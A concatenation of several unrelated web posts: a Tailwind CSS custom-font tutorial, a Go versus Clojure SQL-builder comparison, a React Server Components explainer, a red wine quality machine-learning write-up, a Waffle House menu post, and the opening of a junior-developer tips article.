Simply open the `tailwind.config.js` file and extend the `theme` section.
```
module.exports = {
theme: {
extend: {
fontFamily: {
roboto: ['Roboto', 'sans-serif'],
},
},
},
plugins: [],
}
```
**Step 5: Apply the Font**
Now that you have set up the configuration, you are ready to utilize your personalized font in your classes.
For instance, if you want to use the "Roboto" font for all the body text, simply add a class to the `<body>` tag.
```
<body class="font-roboto">
<h1 class="text-3xl font-bold">Welcome to My Tailwind Project</h1>
<p class="text-lg">This is a sample paragraph using the Roboto font.</p>
</body>
```
You can also apply the custom font to specific elements as needed:
```
<h1 class="font-roboto text-3xl font-bold">Hello, World!</h1>
<p class="text-lg">This paragraph is using the default font.</p>
```
## Adding Custom Fonts Using @Import In Your CSS
If you prefer to import fonts directly in your CSS, here’s how to do it.
Once you've chosen the font, head over to the 'Embed' section where you'll find an @import.
Simply copy the `@import` code provided.
**Step 1 : Import the Font**
Add the `@import` rule at the top of your main CSS file (e.g., `styles.css`)
```
<style>
@import url('https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap');
</style>
```
**Step 2 : Extend Tailwind Configuration**
As before, update the Tailwind configuration:
```
module.exports = {
theme: {
extend: {
fontFamily: {
roboto: ['Roboto', 'sans-serif'],
},
},
},
plugins: [],
}
```
**Step3 : Apply the Font**
Use the custom font in your HTML:
```
<body class="font-roboto">
<h1 class="text-3xl font-bold">Welcome to My Tailwind Project with Imported Font</h1>
<p class="text-lg">This is a sample paragraph using the Roboto font.</p>
</body>
```
## Adding Custom Fonts From The Public Folder
Here's a simple guide on how to use custom font files that are stored locally in your project's public folder.
**Step 1: Store the Font Files**
Place your font files (e.g., `.woff`, `.woff2`, `.ttf`) in the `public/fonts` directory. Your structure should look like this:
```
public/
└── fonts/
└── MyCustomFont.woff2
```
**Step 2: Update the CSS**
Define the `@font-face` rule in your CSS file (e.g., `styles.css`)
```
@font-face {
font-family: 'MyCustomFont';
src: url('/fonts/MyCustomFont.woff2') format('woff2'),
url('/fonts/MyCustomFont.woff') format('woff');
font-weight: normal;
font-style: normal;
}
```
**Step 3 : Extend Tailwind Configuration**
Update the Tailwind configuration to include your custom font:
```
module.exports = {
theme: {
extend: {
fontFamily: {
custom: ['MyCustomFont', 'sans-serif'],
},
},
},
plugins: [],
}
```
**Step 4 : Apply the Custom Font**
```
<body class="font-custom">
<h1 class="text-3xl font-bold">Welcome to My Tailwind Project with Custom Font</h1>
<p class="text-lg">This is a sample paragraph using MyCustomFont.</p>
</body>
```
## Conclusion
That's all! Whether you utilized an HTML link, local files, or the `@import` rule, you have effectively incorporated a personalized font into your Tailwind CSS project. By adhering to these instructions, you can elevate the typography of your website and craft a genuinely distinctive design. The seamless integration of custom fonts is made possible by the flexibility and utility-first approach of Tailwind CSS.

I worked on a TODO code assignment for showing off my skills, and more importantly, showing my weak points. I coded in Golang and Masterminds/squirrel. Later, I ported only the SQL generation part to Clojure to compare and discuss why I prefer Clojure, which I have usually been asked about or even met with opposition for. I will discuss function by function and type by type. The first function is _makeStatement_.
```Go
func (repo *TodoRepoPg) makeStatement(orders []entity.Order, filters []entity.Filter) (string, []any, error) {
builder := repo.Builder.Select("id, title, description, created, image, status")
if err := buildOrders(&builder, orders); err != nil {
return "", nil, err
}
if err := buildFilters(&builder, filters); err != nil {
return "", nil, err
}
return builder.From("task").ToSql()
}
```
The _makeStatement_ function's name clearly indicates it utilizes the builder pattern. However, to improve readability and avoid cluttering the function with too many details, it delegates order and filter information building to separate functions: _buildOrders_ and _buildFilters_. Next one is the make-statement function in Clojure with HoneySQL.
```Clojure
(defn make-statement [orders filters]
(sql/format (merge {:select [:id :description :status]
:from [:task]}
(filters->map filters)
(orders->map orders))))
```
In Clojure version, the main difference is that _filters->map_ and _orders->map_ are pure functions, which won't mutate or change their inputs like _buildOrders_ and _buildFilters_ do with the builder in Golang. The next one I will show contract or type or spec.
```Go
const (
ID = iota
Title
Description
Date
Status
)
const (
ASC = iota
DESC
)
type Order struct {
Field int
SortingOrder int
}
type Filter struct {
Field int
Value string
}
```
In Golang, to complement function definitions, I define custom types for conveying order and filter information. While using strings for this purpose is also acceptable, I prefer using types to leverage Go's static analysis and prevent typos.
```Clojure
(s/def :db1/orders (s/coll-of (s/tuple #{:title :created :status} #{:+ :-})))
(s/def :db1/filters (s/coll-of (s/tuple #{:title :description} any?)))
```
On the other hand, in Clojure, I defined similar contracts using Clojure Spec. Here, the information about orders and filters being collections of tuples resides within the Spec definition itself, unlike the separate function definitions in Golang.
```Go
func buildOrders(builder *squirrel.SelectBuilder, orders []entity.Order) error {
for _, order := range orders {
var fieldName string
switch order.Field {
case entity.Title:
fieldName = "title"
case entity.Date:
fieldName = "created"
case entity.Status:
fieldName = "status"
default:
return fmt.Errorf("invalid field: %d", order.Field)
}
var sortOrder string
switch order.SortingOrder {
case entity.ASC:
sortOrder = "ASC"
case entity.DESC:
sortOrder = "DESC"
default:
return fmt.Errorf("invalid sorting order: %d", order.SortingOrder)
}
orderExpr := fieldName + " " + sortOrder
*builder = builder.OrderBy(orderExpr)
}
return nil
}
```
_buildOrders_ looks very familiar. It reminds me of Pascal, which I learned 30 years ago. This suggests that the code utilizes a well-established approach, making it understandable to most programmers even without prior Go experience. However, I've identified potential code duplication between the type definition and the switch-case within this function.
```Clojure
(defn orders->map [orders]
(when-not (s/valid? :db1/orders orders)
(throw (ex-info "Invalid input orders" (s/explain-data :db1/orders orders))))
(->> orders
(mapv #(let [[field order-dir] %]
[field (case order-dir
:+ :asc
:- :desc)]))
(array-map :order-by)))
```
The Clojure function _orders->map_ might have surprised my younger self from 30 years ago. However, it leverages Clojure Spec to its full potential. Spec validates the input to the function, and provide clear explanations when validation fails. Furthermore, _orders->map_ is a pure function, meaning it doesn't modify its input data. Both the input and output data leverage Clojure's persistent maps, a fundamental data structure known for immutability. Therefore,
unit testing for the _orders->map_ function is relatively straightforward. I have no idea how to write a unit test for _buildOrders_ in Go.
```Clojure
(deftest generate-orders-maps
(is (= {:order-by []}
(orders->map [])))
(is (= {:order-by [[:title :desc]]}
(orders->map [[:title :-]])))
(is (= {:order-by [[:status :asc]]}
(orders->map [[:status :+]])))
(is (thrown-with-msg? Exception
#"Invalid input orders"
(orders->map [[:id :+]]))))
```
In conclusion, Go's main advantage lies in its familiarity for programmers from various languages like Pascal, Java, JavaScript, Python, and C. This familiarity extends to the builder pattern, which offers the additional benefit of auto-completion in IDEs and smart editors. On the other hand, Clojure and HoneySQL emphasize using data structures, especially persistent maps, for building queries.
While auto-completion is less important for Clojure programmers who are comfortable manipulating basic data structures, Clojure Spec offers significant advantages in data validation.
Spec can explain what happens when data fails to meet the requirements, promoting better error handling and adherence to the open-closed principle (where code can be extended without modifying existing functionality). Additionally, Clojure Spec is not part of the function definition itself, allowing for greater flexibility and potential separation of concerns.
More importantly, writing unit tests in Clojure with HoneySQL is significantly more efficient. Because orders->map is based on persistent data structures, it avoids modifying the input data. This immutability, along with the ease of comparing maps, makes them ideal for testing. | veer66 |
1,856,570 | React Server Components: How Did We Get Here? | React has gone since it's inception through multiple breaking changes in the way of how it is used.... | 0 | 2024-06-08T10:31:39 | https://dev.to/modydz/react-server-components-how-did-we-get-here-1oah | webdev, react, nextjs, javascript | React has gone since it's inception through multiple breaking changes in the way of how it is used. Things like hooks that made class components deprecated, or how it started as a client side library that turned into a Full-stack, server-side rendered framework like NextJS are a few examples that show the ever-evolving nature of React.
The latest hot trends of React now being the [React Compiler](https://react.dev/learn/react-compiler) and [Server Components](https://react.dev/reference/rsc/server-components). In this article, we will talk more about Server Components, what are they and how to use them. But before doing that, let's take a walk down the memory lane and see how things used to be in the past.
## Traditional Web Applications:
Back in the day, web apps used server side rendering as the way to serve their content. When you request a page, the server process whatever information needed, like user data, spits it into a template and serves it back to you.
This approach worked for the most part, but there were some issues with it, mainly:
- Harder to make it interactive. Considering the imperative nature of vanilla JavaScript, you had to explicitly state (pun intended) what you want to do with your app. Stuff like handling stateful values, updating UI and sending form requests all proved to be a pain to handle.
- Feels sluggish to the user. Websites made with something like React has a mobile app feeling to it, transitions between pages is seamless. If you compare it to these traditional websites, virtually every action will cause a hard reload like switching pages or submitting forms.
- Servers had to process whatever information needed before serving the HTML as a response to the user, until then, the user will stare into a blank screen waiting. If processing that info takes quite the time, the user experience might not be the best.
So devs had to find a way to make websites more modern, more smooth, more... seamless both to users and devs alike. Hmmm, what could we use?
## Enter React:
React introduces a different way of developing UI, rather than the imperative way of vanilla JS, it uses a declarative one through JSX.
By using React, you will get:
- An easier time updating the DOM on state changes.
- Introducing interactivity would be a breeze.
- Components make it trivial to reuse common UIs across your app.
- Since route changes will be handled by JavaScript and not having to serve a new html file for each page, the transitions will be seamless and feels closer to a native mobile app.
This rendering strategy is called Client-Side Rendering, or CSR. And apps made by React or a similar framework are called SPAs, short for Single Page Applications. Because you are serving one empty html file for every request and JS handles showing the relevant content based on the route.
Buuuuuut with almost everything in life, this sounds too good to be true, right? Surely there is some drawbacks to using this library. Well, by using React, there are some cons to be caused, mainly:
- The CSR strategy will result in users doing the heavy work of rendering the website. This will cause low end devices such as old phones to feel laggy.
- This will also affect SEO since the content of the html file will be an empty div. Search engines are getting better and better at reading the content of SPAs, but I prefer raw html over JavaScript when it comes to SEO.
- And most importantly, unnecessary **server roundtrips**.
A server roundtrip is the request response cycle, when you request a resource from a server, you'll get a response, like an HTML or a JSON. The time it took since you started the request to the moment you received the response is a roundtrip. Now roundtrips are needed to get and send information between you, the user, and the server. But it is best practice to minimize them for better performance.
When using React, you are initially requesting an html file with a script tag and an empty div. Then the browser will request the JavaScript from that tag. Next is the JavaScript painting the page with content, only at this point will user see something, prior to this only a blank page to stare at.
Look at this simple React component:
``` react
import React from 'react'
import ReactDOM from 'react-dom/client'
ReactDOM.createRoot(document.getElementById('root')!).render(
<React.StrictMode>
<App />
</React.StrictMode>,
)
function App() {
return <h1>Hello World</h1>;
}
```
Upon inspecting the network tab using DevTool, we will find a bunch of requests made to the server:
Ignoring the files coming from Vite, we will end up with two requests:
1- First request being the document (named localhost).
2- Second being the main.tsx file that is requested after the document is retrieved.
When main.tsx is received, the React code is invoked and takes over, rendering the content of the page. If you view the page source (CTRL+U on Chrome), you'll see that the body contains an empty div.
```html
<!doctype html>
<html lang="en">
<head>
<script type="module">
import RefreshRuntime from "/@react-refresh"
RefreshRuntime.injectIntoGlobalHook(window)
window.$RefreshReg$ = () => {}
window.$RefreshSig$ = () => (type) => type
window.__vite_plugin_react_preamble_installed__ = true
</script>
<script type="module" src="/@vite/client"></script>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>React Test</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
```
Now this doesn't sound too bad, only two requests is trivial and nothing to worry about. But in most real world projects, you are probably going to communicate with an API to retrieve and send info. Let's update our App component a little bit:
```react
function App() {
const [users, setUsers] = useState([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => { // Bad code btw, use react-query
const fetchUsers = async () => {
try {
const response = await fetch(
"https://jsonplaceholder.typicode.com/users"
);
const data = await response.json();
setUsers(data);
} catch (err) {
setError(err.message);
} finally {
setLoading(false);
}
};
fetchUsers();
}, []);
if (loading) return <p>Loading...</p>;
if (error) return <p>Error: {error}</p>;
return (
<div>
<h1>Users List</h1>
<ul>
{users.map((user) => (
<li key={user.id}>
{user.name} - {user.email}
</li>
))}
</ul>
</div>
);
}
```
Now let's take a look once again in the Network tab and see what changed:
There are two new requests at the end called users. These are the fetch request we added in the App component, notice how they are the last to be called.
**Note:** There are two users fetch call, this is not a bug, this is an intended feature caused by React.StrictMode that makes your useEffect run twice in your code to ensure it is bugfree. I recommend this [video](https://www.youtube.com/watch?v=j8s01ThR7bQ) for more info.
**Another Note:** I am using useEffect to invoke the fetch request to make the code simple. Don't use it in production and instead use a library like react-query. Read this [article](https://tkdodo.eu/blog/why-you-want-react-query) if you want to know why this is a bad idea.
A step by step procedure of how websites made using pure React work to render the website goes something like this:
Of course these steps will probably take a few seconds to finish so it is nothing big, [but considering the fact that users are impatient and might leave the website if it takes more than 3 seconds to load](https://www.hobo-web.co.uk/your-website-design-should-load-in-4-seconds/), I think it is best we focus more on our site performance for better conversion rates.
We need a way that makes the initial HTML file renders the content prior to giving it back to the user. For that reason, several frameworks like Nextjs were created. Such frameworks work by running the React code **on the server** then serves the resulting content as html along with JS to the user. The JavaScript code's job is to **hydrate** the content and make it interactive as well as initiating any API requests.
Thus, by using Nextjs, we skip right to the point where we get some content on receiving the response from the server (Better First Contentful Paint) rather than an empty html. But can we do better? Can we do something about these API requests that only happen once the JS is downloaded and invoked?
## Introducing getServerSideProps:
This is a function whose purpose is to run any code on the server side, usually to initiate fetch requests and return their result to the page as prop before serving it to the user.
By using getServerSideProps, we now removed the extra API calls initiation in step 6 and moved it back to the server. But overall, this approach has two problems:
1. The getServerSideProps function works only on a page level, you can't use it inside components.
2. The JS hydration works on ALL elements, surely there are some that don't require any interactivity like article links for example. If we can remove the JS from parts that don't need it, we will significantly reduce the bundle size that users have to download.
So we need a way to run server side code on components that returns only HTML content without any unneeded JS code.
**React Server Components (RSCs):**
Server Components, to put it simply, are the same components you write in regular React. The only difference is that they produce an HTML output without any JavaScript in it. This limits these components' interactivity, such as hooks not being usable, in exchange for a lower JavaScript bundle size.
Often, there is a confusion between React Server Components (RSCs) and Server-Side Rendering (SSR), with people thinking they are the same. A good way to differentiate between them is that in SSR, the components' code runs on both the **server** and the **client**, while RSCs run only on the **server**.
Spin up a Nextjs server (I am using 14.2) and modify the Home component as such:
```react
import { useState } from "react";
export default function Home() {
const [state, setState] = useState();
return <h1>Hello World</h1>;
}
```
You'll get this error:
> You're importing a component that needs useState. It only works in a Client Component but none of its parents are marked with "use client", so they're Server Components by default.
│ Learn more: https://nextjs.org/docs/getting-started/react-essentials
Next.js by default marks **all** components as RSCs unless you use the 'use client' directive. If you need to use something like hooks, you must opt into client components by using that directive.
Let's dive into the powers of Server components, imagine you are building an ecommerce website, in the PLP you usually have the product info section as well as the product reviews among other components. Let's focus on these two:
```react
export default async function Product() {
return (
<>
<ProductInfo />
<ProductReviews />
</>
);
}
async function ProductInfo() {
const product = await fetchProductInfo();
return (
<div>
<h1>Product Name: {product.name}</h1>
<p>Product Description: {product.description}</p>
<p>Price: ${product.price}</p>
<button>Buy</button>
</div>
);
}
async function ProductReviews() {
const reviews = await fetchProductReviews();
return (
<div>
<h2>Reviews</h2>
{reviews.map((review) => {
return (
<div key={review.id}>
<strong>{review.user}</strong>
<p>{review.reviewText}</p>
</div>
);
})}
</div>
);
}
function fetchProductInfo() {
return new Promise((resolve) => {
setTimeout(() => {
const product = {
name: "T-Shirt",
description:
"This Stylish T-Shirt is made from high-quality cotton, offering both comfort and style. Perfect for casual wear, it comes in various sizes and colors to suit your preference.",
price: 25,
};
resolve(product);
}, 500);
});
}
function fetchProductReviews() {
return new Promise((resolve) => {
setTimeout(() => {
const reviews = [
{ id: 1, user: "User 1", reviewText: "Review 1" },
{ id: 2, user: "User 2", reviewText: "Review 2" },
{ id: 3, user: "User 3", reviewText: "Review 3" },
];
resolve(reviews);
}, 500);
});
}
```
To fetch data inside an RSC, the component must be async. Here, we are simulating two fetch requests to get data about the product. Notice that we are not using any loading states as we typically do in traditional client components. This is because Server Components run the fetch on the server, and the user only sees the result of that fetch.
If you've been carefully reading through this article, you might remember that one of the drawbacks I mentioned about traditional SSR is that the user needs to wait for any necessary processing before they receive the HTML. Try modifying the seconds parameter in the setTimeout to 2000ms for one of the fetch functions.
You'll notice that the entire page keeps loading until the longer setTimeout is completed, and only then do we get a response. This is not ideal, especially in this example. On ecommerce websites, most users are more interested in the product information rather than the product reviews. If the product reviews take a long time to load, users will have to wait for something they don't need right away, or might not need at all.
## React Suspense:
With the usage of RSCs and [Streaming](https://www.patterns.dev/react/streaming-ssr/), we can display parts of the UI immediately while deferring others to load later. This way, we can mark content that is important to users and prioritize loading it faster than other, less important content.
For example, if fetching product reviews takes longer, like two seconds on average, we can defer fetching the reviews since we know most users won't be interested in them initially. This allows us to prioritize and wait only for the more important fetchProductInfo request, ensuring that critical product information is displayed quickly.
To defer components, we can leverage [Suspense](https://react.dev/reference/react/Suspense) to display a loading UI that is later replaced by the result of the fetch inside the Suspensed component. Let's see this in action:
```react
export default async function Product() {
return (
<>
<ProductInfo />
<Suspense fallback={<p>Loading</p>}>
<ProductReviews />
</Suspense>
</>
);
}
```
This way, we can ensure that no matter how many seconds the fetch for reviews takes, the user will still receive a chunk of the UI, hopefully the one they are most interested in, while the reviews are deferred for later.
The good thing about Server Components is that they are, well, components. You are not strictly forced to use them in all parts of your application. You can use them where it makes sense, while opting for client components in areas where they are more appropriate. This gives you the freedom to write whatever code fits best for your specific use case.
That's it folks, I think that RSCs is a significant advancement in the React world by presenting an efficient solution to rendering UI on the server. With the ability to defer slow and unneeded components, RSCs enable us to enhance user experience by delivering content faster and more efficiently, meeting users' needs with greater speed. However, it is important to note that this new rendering pattern is still relatively new, thus using it in production may introduce some risks, proceed with caution.

By leveraging a dataset of physicochemical properties and quality ratings of red wines, various supervised learning algorithms were employed to predict wine quality, categorized into three classes: good, middle, and bad. The study highlights the importance of feature selection, model training, and balancing techniques in improving prediction accuracy and offers insights into the practical applications of predictive analytics in the wine industry.
https://www.kaggle.com/code/adegbaju/enhancing-red-wine-quality-prediction-leveraging/notebook
**Introduction** : In the intricate world of viticulture and ecology, forecasting the quality of red wine is a pivotal task that significantly influences consumer satisfaction and shapes the reputation of brands in the competitive wine market. Red wine, characterized by its rich hues ranging from intense violet to deep brown — indicative of its age — is produced through a meticulous process involving the selection of quality grapes, fermentation, aging, and bottling. Evaluating wine quality plays a vital role in the wine production industry, influencing consumer satisfaction and market trends. Traditionally, Human experts assess wine quality, but this process can be subjective and inconsistent. Given that red wine’s quality is influenced by numerous chemical and sensory attributes, machine learning (ML) presents a potent tool for predicting wine quality with high precision. However, a significant challenge in this endeavour arises from the inherent class imbalance present in wine quality datasets, where some quality classes are substantially underrepresented. This imbalance can skew predictive models, leading to less reliable and biased predictions, particularly for the underrepresented classes.
Addressing this imbalance is crucial for developing robust and accurate predictive models. Various techniques, such as oversampling the minority class, have been proposed and employed in different domains to mitigate the effects of class imbalance.
Earlier research has employed diverse machine learning methods to forecast wine quality, typically handling it as a regression or binary classification problem. Nonetheless, the categorization of wine into multiple quality levels and managing imbalanced datasets remain challenges that haven’t been thoroughly explored. In the context of red wine quality prediction, using these techniques could significantly improve the precision and dependability of predictive models across all quality categories. This study aims to explore and compare the effectiveness of different oversampling techniques alongside various machine learning algorithms in correcting class imbalances in red wine quality prediction. By conducting a thorough comparative analysis, this paper seeks to identify the most effective strategies for improving the predictive accuracy of red wine quality, thus contributing valuable insights to the field of predictive analytics in viticulture.
_Previous work_ : Jain, K., 2023. developed machine learning models to predict wine quality using physiochemical properties, with Random Forest and XGBoost showing high accuracy and feature importance. Di, S.,2022 utilizes a 1D Convolutional Neural Network, enhanced with dropout and batch normalization, to effectively predict red wine quality by analysing physiochemical correlations.
**Methodology**
1._Data Collection_:
The study utilizes a standard red wine quality dataset comprising 12 chemical and sensory attributes. The dataset was sourced from a well-known public repository( https://www.kaggle.com/datasets/uciml/red-wine-quality-cortez-et-al-2009.), ensuring its relevance and standardization for predictive modelling.
Correlation Matrix: is an essential tool in data analysis that reveals the extent to which variables in a dataset are interrelated. It helps identify how changes in one feature correspond with changes in another, aiding in the discovery of potential predictors for outcomes such as red wine quality.
2. **Data Pre processing**:
2.1._Handling Missing Values_: the dataset has no missing data, no imputation or exclusion.
2.2. _Using SelectKBest_: Select KBest will be applied to choose the five best features that contribute the most to predicting red wine quality based on their statistical relationship with the outcome variable likely f_regression since we are dealing with a regression problem.
2.3. _Feature Scaling_: All numerical features will be normalized to ensure uniformity in scale, minimizing the dominance of features with larger scales over those with smaller scales.
2.4. _Encoding Categorical Variables_: Categorical variables will be encoded using techniques like Label Encoder to transform them into a machine-readable numerical format. Additionally, the Standard Scaler will be applied to normalize these encoded features, ensuring that the machine learning algorithms can interpret them more effectively.
2.5. _Data Splitting_: The dataset has been divided into training and testing subsets, with 75% of the data allocated for training and the remaining 25% designated for testing.
**Selection of Algorithms and Hyperparameter Justification**
_Logistic Regression_: statistical analysis method used in predictive modeling that calculates The probability of achieving a binary outcome depending on one or more predictor variables.. This is the hyperparameter used.
max_iter=1000: Increased from the default to ensure convergence, particularly important for more complex or larger datasets where the default setting may be insufficient.
random state=42: Guarantees that the model’s outputs are reproducible across different runs, essential for scientific validation.
C=1.0: Maintains the default regularization strength, providing a balance that prevents overfitting while allowing sufficient model flexibility.
solver=’lbfgs’: Chosen for its efficiency on smaller datasets and its capability to handle multinomial loss, making it suitable for multiclass classification in wine quality prediction.
_Decision Tree Classifier_: is a machine learning algorithm that uses a tree-structured series of decisions and possible outcomes to perform classification tasks. It operates by dividing the data into subsets according to feature values, which simplifies understanding and visualizing the decision-making process.
random_state=42: Ensures consistent results across different executions, vital for comparative analysis.
max_depth=None: Allows the tree to expand fully based on the training data, which can capture complex patterns but requires careful monitoring to avoid overfitting.
min_samples_split=2: The minimal amount that is needed to consider a split at a node, set low to enable detailed data segmentation, capturing nuances in the dataset.
_Random Forest Classifier_: is a machine learning model that constructs multiple decision trees during training and predicts the class representing the most frequent outcome among the individual tree predictions. This ensemble method is effective for both classification and regression tasks, offering robustness and accuracy by mitigating the risk of overfitting common in individual decision trees.
random_state=42: Provides reproducibility in model results, which is critical for the validation of experimental outcomes.
n_estimators=100: A balanced default that provides a good compromise between computational demand and model performance, allowing for a robust ensemble of decision trees.
_XGBoost Classifier_: is a powerful machine learning algorithm that uses gradient boosting framework to optimize decision trees, enhancing performance and speed for classification tasks. It is renowned for its efficiency, scalability, and capability to manage large and complex datasets with great precision.
use_label_encoder=False: Adapts to the latest XGBoost updates, which recommend manual label encoding over automatic to avoid deprecation warnings.
eval_metric=’logloss’: Focuses on minimizing the logarithmic loss, which is particularly effective for binary classification tasks, enhancing model performance in distinguishing between wine quality classes.
These models were meticulously configured to address the specific challenges and characteristics of the red wine quality prediction. The bar chart presents the performance of six different algorithms based on their accuracy scores. The Random Forest Classifier leads with an accuracy of 0.870. The Decision Tree Classifier shows the lowest accuracy at 0.812, indicating that the Random Forest Classifier outperforms the other models.
3. **Imbalance Correction**:
_Oversampling with SMOTE_:
The Synthetic Minority Over-Sampling Technique (SMOTE) is a popular and effective approach for tackling class imbalance in machine learning datasets. Class imbalance arises when the instances of one class vastly exceed those of one or more other classes, potentially resulting in biased models. These models typically perform well for the dominant class but struggle with the minority class because they are disproportionately influenced by the larger class. SMOTE addresses this by generating synthetic samples for the minority class rather than duplicating existing samples. It selects a random point from the minority class, calculates the difference between that point and its nearest neighbors, and creates synthetic samples by multiplying this difference by a random value between 0 and 1 and adding it to the original point from the minority class. This process not only augments the data size but also helps in generalizing the decision boundaries, making the model less prone to overfitting to the majority class.
_GridSearchCV_: The integration of SMOTE with GridSearchCV in the training process of various algorithms enhances model performance by allowing the models to learn from a more balanced dataset. GridSearchCV is a method employed to identify the best hyperparameters for a model, enhancing its accuracy and performance. It accomplishes this by methodically exploring various combinations of parameter settings, conducting cross-validation along the way to establish which combination delivers optimal result. In the context of this study, GridSearchCV was employed alongside SMOTE to fine-tune the parameters of various machine learning algorithms like
1. _Logistic Regression_: Parameters like ‘C’ (regularization strength), ‘solver’ (algorithm to use for optimization), and ‘class_weight’ (weights associated with classes) are crucial. GridSearchCV helped in tuning these parameters under the balanced dataset provided by SMOTE, enhancing the model’s capability to generalize across minority classes.
2. _Decision Tree and Random Forest_: These models benefit from tuning parameters such as ‘max_depth’ (the deepest level the tree can reach), ‘min_samples_split’ (the minimum sample count needed to divide an internal node), and ‘criterion’ (the method used to evaluate the quality of a split).SMOTE combined with GridSearchCV, allowed these tree-based models to avoid overfitting by adequately learning the minority class characteristics.
3. _KNeighbors Classifier_: It includes parameters such as ‘n_neighbors’ (the number of neighbors considered), ‘weights’ (the function that assigns weights for prediction), and ‘p’ (the power parameter for the Minkowski metric). Through GridSearchCV, the best parameters were identified that worked well with the balanced dataset created by SMOTE, ensuring that the minority class influences were not overshadowed by the majority class.
4. _XGBoost_: This algorithm includes parameters like ‘learning_rate’, ‘max_depth’, ‘n_estimators’, and ‘subsample’. Tuning these parameters with GridSearchCV on a SMOTE-enhanced dataset helped in preventing the model from being too biased towards the majority class while improving overall prediction accuracy across all classes.
Using SMOTE with GridSearchCV across these algorithms ensured that the models were not only tuned to their optimal parameters but were also trained on a dataset that mimicked a real-world scenario where class distribution is not always balanced. This approach significantly improved the robustness, accuracy, and fairness of the models, making them more reliable for predicting wine quality across different quality classes.
**Results**
The best model based on the average scores across the two modelling approaches is the RandomForestClassifier. The Random Forest Classifier consistently showed superior performance across both the original and balanced datasets, achieving the highest accuracy. The use of SMOTE generally improved the performance metrics for all models, highlighting its effectiveness in managing imbalanced data. KNeighbors Classifier and XGBoost also performed well, particularly after data balancing, indicating their robustness to class distribution changes.
From the selected features we could rank the best performing qualities according to the best model {random forest classifier):
_Total Sulphur Dioxide_: Most critical in predicting wine quality, total sulphur dioxide guards freshness and longevity, significantly influencing the model with its highest importance score of 0.24.
_Volatile Acidity_: Second in importance, volatile acidity’s level at 0.20 underscores its impact on wine taste; excessive amounts can produce an undesirable vinegar flavour, affecting the overall quality perception.
_Alcohol_: With an importance score of 0.19, alcohol content significantly shapes the body, texture, and palatability of wine, making it a pivotal factor in the model’s assessment of wine quality.
_Sulphates_: Ranking fourth, sulphates (0.18 importance) serve as preservatives and antioxidants in wine, playing a vital role in maintaining stability and preventing spoilage, thereby influencing quality evaluations.
_Citric Acid_: Though it has the lowest importance score at 0.16, citric acid is essential for modulating wine’s acidity, enhancing freshness, and contributing to the flavour profile, thus impacting quality judgments.
**Discussion, Conclusions, and Future Work** : The study confirms that advanced machine learning techniques can effectively predict red wine quality and that addressing data imbalance is crucial for improving model performance in multiclass classification scenarios. Future work could explore deeper feature engineering, the integration of unsupervised learning for anomaly detection in wine batches, and the deployment of models into real-time quality assessment systems in wineries.
**Professional, Ethical, and Legal issues**
_Accuracy and Reliability_: The model must undergo rigorous testing and validation to ensure that it delivers reliable and consistent results across various scenarios, helping to guide winemakers’ decisions effectively.
_Transparency and Explainability_: It’s important for the model to be understandable to stakeholders, blending well with traditional practices in wine quality assessment and enhancing trust in machine learning solutions.

1,881,272 | Exploring the Waffle House Menu: A Delicious Journey | Hey Everyone! I recently embarked on a culinary adventure that I think many of you will enjoy,... | 0 | 2024-06-08T10:17:12 | https://dev.to/smith_adob_098/exploring-the-waffle-house-menu-a-delicious-journey-4k8i | Hey Everyone!
I recently embarked on a culinary adventure that I think many of you will enjoy, especially if you're a fan of classic American diners. Today, I want to share my exploration of the Waffle House menu, a beloved institution for many across the United States.
The Inspiration
It all started during a late-night coding session when hunger struck and the only place open was the nearby Waffle House. As I sat there, munching on hashbrowns and sipping coffee, I realized how much variety this place offers. From hearty breakfasts to satisfying dinners, Waffle House has something for everyone. This got me thinking: why not create a comprehensive guide to their menu?
The Classics
1. [All-Star Special](https://wafflemenu.com/all-star-special)
This is the king of breakfast plates. It comes with two eggs (cooked your way), your choice of bacon or sausage, toast, and a generous serving of hashbrowns. Don’t forget the waffle – it's called Waffle House for a reason!
2. [Hashbrowns](https://wafflemenu.com/hashbrown/)
Speaking of hashbrowns, they deserve their spotlight. You can get them scattered, smothered, covered, chunked, diced, peppered, capped, topped, and country. Each addition brings a new flavour dimension, from onions and cheese to jalapeños and gravy.
3. [Texas Bacon Cheesesteak Melt](https://wafflemenu.com/texas-bacon-egg-and-cheese-melt/)
A lunchtime favourite, this sandwich features juicy steak, crispy bacon, and melted cheese all packed between two slices of Texas toast. It’s a comforting, savoury delight.
Hidden Gems
1. Grilled Chicken Sandwich
While Waffle House is known for its breakfast, their grilled chicken sandwich is a hidden gem. It’s seasoned perfectly and pairs wonderfully with a side of hashbrowns.
2. [Pecan Waffle](https://wafflemenu.com/pecan-waffle/)
A twist on the classic waffle, this one’s packed with crunchy pecans. It’s a sweet and nutty treat that’s perfect for those who love a bit of crunch in their breakfast.
Why I Love Waffle House
What makes Waffle House special is not just the food, but the experience. It's open 24/7, welcoming you in at any hour with a hot meal and a friendly smile. The simplicity and consistency are what make it a go-to spot for many, whether you’re finishing a late shift or starting an early road trip.
Join the Fun
I’ve started a [Waffle House Menu Guide](https://wafflemenu.com/home/) project where I’m documenting all the items, along with descriptions, prices, and nutritional information. It’s a work in progress, and I’d love your contributions! Check it out on GitHub, and feel free to add your favourite items or correct any details.
Conclusion
Next time you find yourself at Waffle House, take a moment to explore the menu. You might discover a new favourite or rekindle your love for a classic. Whether it’s a stack of waffles or a loaded hashbrown, there’s something for everyone.
Thanks for reading, and happy eating! [Waffle Menu](https://wafflemenu.com)

1,881,253 | Essential Tips for Junior Developers, Steering Clear of Common Pitfalls 💡 | Hey everyone! I'd like to showcase some of the things that have helped me with my learning process as... | 0 | 2024-06-08T10:14:49 | https://dev.to/g3nt/navigating-the-early-days-essential-tips-for-junior-developers-steering-clear-of-common-pitfalls-71n | webdev, beginners, javascript, programming | Hey everyone! I'd like to showcase some of the things that have helped me with my learning process as a junior developer & to showcase what traits caused the biggest issues. This is to be taken lightly as even if you've done one of these, it's totally normal and should not be considered a "crime". We're humans at the end of the day :))
## 1. Not Developing a Sincere Connection with Your Colleagues
